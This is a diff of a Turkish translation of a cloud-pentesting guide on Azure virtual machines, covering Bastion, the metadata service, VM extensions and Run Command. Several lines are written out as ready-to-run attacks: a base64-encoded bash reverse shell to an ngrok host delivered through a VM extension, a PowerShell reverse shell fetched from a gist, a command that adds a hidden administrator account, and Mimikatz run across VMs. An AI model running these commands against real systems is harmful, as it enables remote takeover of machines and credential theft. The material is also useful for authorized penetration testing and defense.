[**Belgeler**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) üzerinden: Site Recovery, iş sürekliliğini sağlamak için iş uygulamalarını ve yüklerini kesintiler sırasında çalışır durumda tutmaya yardımcı olur. Site Recovery, fiziksel ve sanal makinelerde (VM'ler) çalışan yüklerini birincil bir yerden ikincil bir yere **çoğaltır**. Bir kesinti meydana geldiğinde, birincil yerden ikincil bir yere geçiş yapar ve uygulamalara oradan erişirsiniz. Birincil yer tekrar çalışmaya başladığında, geri geçiş yapabilirsiniz.
[**Belgeler**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) üzerinden: Site Recovery, iş sürekliliğini sağlamak için iş uygulamalarını ve yüklerini kesintiler sırasında çalışır durumda tutmaya yardımcı olur. Site Recovery, fiziksel ve sanal makinelerde (VM'ler) çalışan yükleri birincil bir yerden ikincil bir yere **çoğaltır**. Bir kesinti meydana geldiğinde, ikincil bir yere geçiş yapar ve uygulamalara oradan erişirsiniz. Birincil yer tekrar çalışmaya başladığında, geri geçiş yapabilirsiniz.
## Azure Bastion
Azure Bastion, sanal makinelerinize (VM'ler) Azure Portal üzerinden veya bir jump box aracılığıyla güvenli ve kesintisiz **Remote Desktop Protocol (RDP)** ve **Secure Shell (SSH)** erişimi sağlar. VM'lerinizde **genel IP adreslerine ihtiyaç duymayı ortadan kaldırarak**.
Azure Bastion, sanal makinelerinize (VM'ler) doğrudan Azure Portal üzerinden veya bir jump box aracılığıyla güvenli ve kesintisiz **Uzak Masaüstü Protokolü (RDP)** ve **Güvenli Kabuk (SSH)** erişimi sağlar. VM'lerinizdeki genel IP adreslerine olan ihtiyacı **ortadan kaldırarak**.
Bastion, çalışması gereken VNet içinde `/26` alt ağ maskesine sahip **`AzureBastionSubnet`** adında bir alt ağ dağıtır. Ardından, VM'lerin portlarını İnternet'e açmadan `RDP` ve `SSH` kullanarak tarayıcı üzerinden iç VM'lere **bağlanmanıza** olanak tanır. Ayrıca bir **jump host** olarak da çalışabilir.
Bastion, çalışması gereken VNet içinde `/26` alt ağ maskesi ile **`AzureBastionSubnet`** adında bir alt ağ dağıtır. Ardından, VM'lerin portlarını İnternete açmadan `RDP` ve `SSH` kullanarak tarayıcı üzerinden iç VM'lere **bağlanmanıza** olanak tanır. Ayrıca bir **jump host** olarak da çalışabilir.
Aboneliğinizdeki tüm Azure Bastion Host'larını listelemek ve bunlar aracılığıyla VM'lere bağlanmak için aşağıdaki komutları kullanabilirsiniz:
@@ -189,9 +189,9 @@ Get-AzBastion
## Metadata
Azure Instance Metadata Service (IMDS) **çalışan sanal makine örnekleri hakkında bilgi sağlar** ve bunların yönetimi ve yapılandırması için yardımcı olur. SKU, depolama, ağ yapılandırmaları ve yaklaşan bakım olayları hakkında bilgi gibi ayrıntılar sunar. Bu bilgilere **169.254.169.254** adresindeki yönlendirilemeyen IP adresi üzerinden erişilebilen **REST API** aracılığıyla ulaşılır; bu adres yalnızca VM içinden erişilebilir. VM ile IMDS arasındaki iletişim, güvenli erişimi sağlamak için ana bilgisayar içinde kalır. IMDS'yi sorgularken, VM içindeki HTTP istemcileri doğru iletişimi sağlamak için web proxy'lerini atlamalıdır.
Azure Instance Metadata Service (IMDS) **çalışan sanal makine örnekleri hakkında bilgi sağlar** ve bunların yönetimi ve yapılandırması için yardımcı olur. SKU, depolama, ağ yapılandırmaları ve yaklaşan bakım olayları hakkında bilgiler gibi detaylar sunar. Bu bilgilere **169.254.169.254** adresindeki yönlendirilemeyen IP adresi üzerinden erişilebilen **REST API** aracılığıyla ulaşılır; bu adres yalnızca VM içinden erişilebilir. VM ile IMDS arasındaki iletişim, güvenli erişimi sağlamak için ana bilgisayar içinde kalır. IMDS'yi sorgularken, VM içindeki HTTP istemcileri doğru iletişimi sağlamak için web proxy'lerini atlamalıdır.
Ayrıca, metadata uç noktasına erişmek için HTTP isteğinin **`Metadata: true`** başlığına sahip olması ve **`X-Forwarded-For`** başlığını içermemesi gerekir.
Ayrıca, metadata uç noktasına ulaşmak için HTTP isteğinin **`Metadata: true`** başlığına sahip olması ve **`X-Forwarded-For`** başlığını içermemesi gerekir.
Bunu nasıl listeleyeceğinizi kontrol edin:
@@ -431,13 +431,13 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
### VM Uzantıları
Azure VM uzantıları, Azure sanal makinelerinde (VM'ler) **dağıtım sonrası yapılandırma** ve otomasyon görevleri sağlayan küçük uygulamalardır.
Azure VM uzantıları, Azure sanal makinelerinde (VM'lerde) **dağıtım sonrası yapılandırma** ve otomasyon görevleri sağlayan küçük uygulamalardır.
Bu, **VM'ler içinde rastgele kod çalıştırmayı** mümkün kılar.
Gerekli izin **`Microsoft.Compute/virtualMachines/extensions/write`**'dir.
Tüm mevcut uzantıları listelemek mümkündür:
Mevcut tüm uzantıları listelemek mümkündür:
{{#tabs }}
{{#tab name="Az Cli" }}
@@ -462,7 +462,7 @@ Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type
{{#tabs }}
{{#tab name="Linux" }}
- Ters shell çalıştırın
- Ters bir shell çalıştırın
```bash
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
@@ -478,7 +478,7 @@ az vm extension set \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- İnternette bulunan bir scripti çalıştırın
- İnternette bulunan bir betiği çalıştırın
```bash
az vm extension set \
--resource-group rsc-group> \
@@ -520,7 +520,7 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Ayrıca şu gibi diğer yükleri de çalıştırabilirsiniz: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
Ayrıca şu şekilde diğer payload'ları da çalıştırabilirsiniz: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- VMAccess uzantısını kullanarak şifreyi sıfırlama
```powershell
@@ -549,9 +549,9 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<details>
<summary>DesiredConfigurationState (DSC)</summary>
<summary>DesiredStateConfiguration (DSC)</summary>
Bu, Azure Windows VM'lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft'a ait bir **VM uzantısı**dır. Bu nedenle, bu uzantı aracılığıyla Windows VM'lerinde **rastgele komutlar** çalıştırmak için kullanılabilir:
Bu, Azure Windows VM'lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft'a ait bir **VM uzantısıdır**. Bu nedenle, bu uzantı aracılığıyla Windows VM'lerinde **rastgele komutlar** çalıştırmak için kullanılabilir:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -603,13 +603,13 @@ Set-AzVMDscExtension `
<summary>Hibrit Runbook Çalışanı</summary>
Bu, otomasyon hesabından VMs'de runbook'ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için [Otomasyon Hesapları hizmetine](../az-automation-account/) bakın.
Bu, otomasyon hesabından VMs'de runbook'ları çalıştırmaya olanak tanıyan bir VM uzantısıdır. Daha fazla bilgi için [Otomasyon Hesapları hizmetine](../az-automation-account/index.html) bakın.
</details>
### VM Uygulamaları
Bunlar, VMs'de uygulamayı kolayca eklemek ve kaldırmak için kullanılabilecek **uygulama verileri ve yükleme ile kaldırma betikleri** içeren paketlerdir.
Bunlar, VMs'de uygulamaları kolayca eklemek ve kaldırmak için kullanılabilecek **uygulama verileri ve yükleme ile kaldırma betikleri** içeren paketlerdir.
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
@@ -637,7 +637,7 @@ Gerekli izinler:
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`
Rastgele komutları çalıştırmak için istismar örneği:
Rasgele komutları çalıştırmak için istismar örneği:
{{#tabs }}
{{#tab name="Linux" }}
@@ -739,7 +739,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **Komut Çalıştır**
Bu, Azure'un **VM'lerde rastgele komutlar çalıştırmak** için sağladığı en temel mekanizmadır. Gerekli izin `Microsoft.Compute/virtualMachines/runCommand/action`.
Bu, Azure'un **VM'lerde rastgele komutlar çalıştırmak için** sağladığı en temel mekanizmadır. Gerekli izin `Microsoft.Compute/virtualMachines/runCommand/action`'dır.
{{#tabs }}
{{#tab name="Linux" }}
@@ -796,7 +796,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
{{#endref}}
## Sonrası İstismar
## Sömürü Sonrası
{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md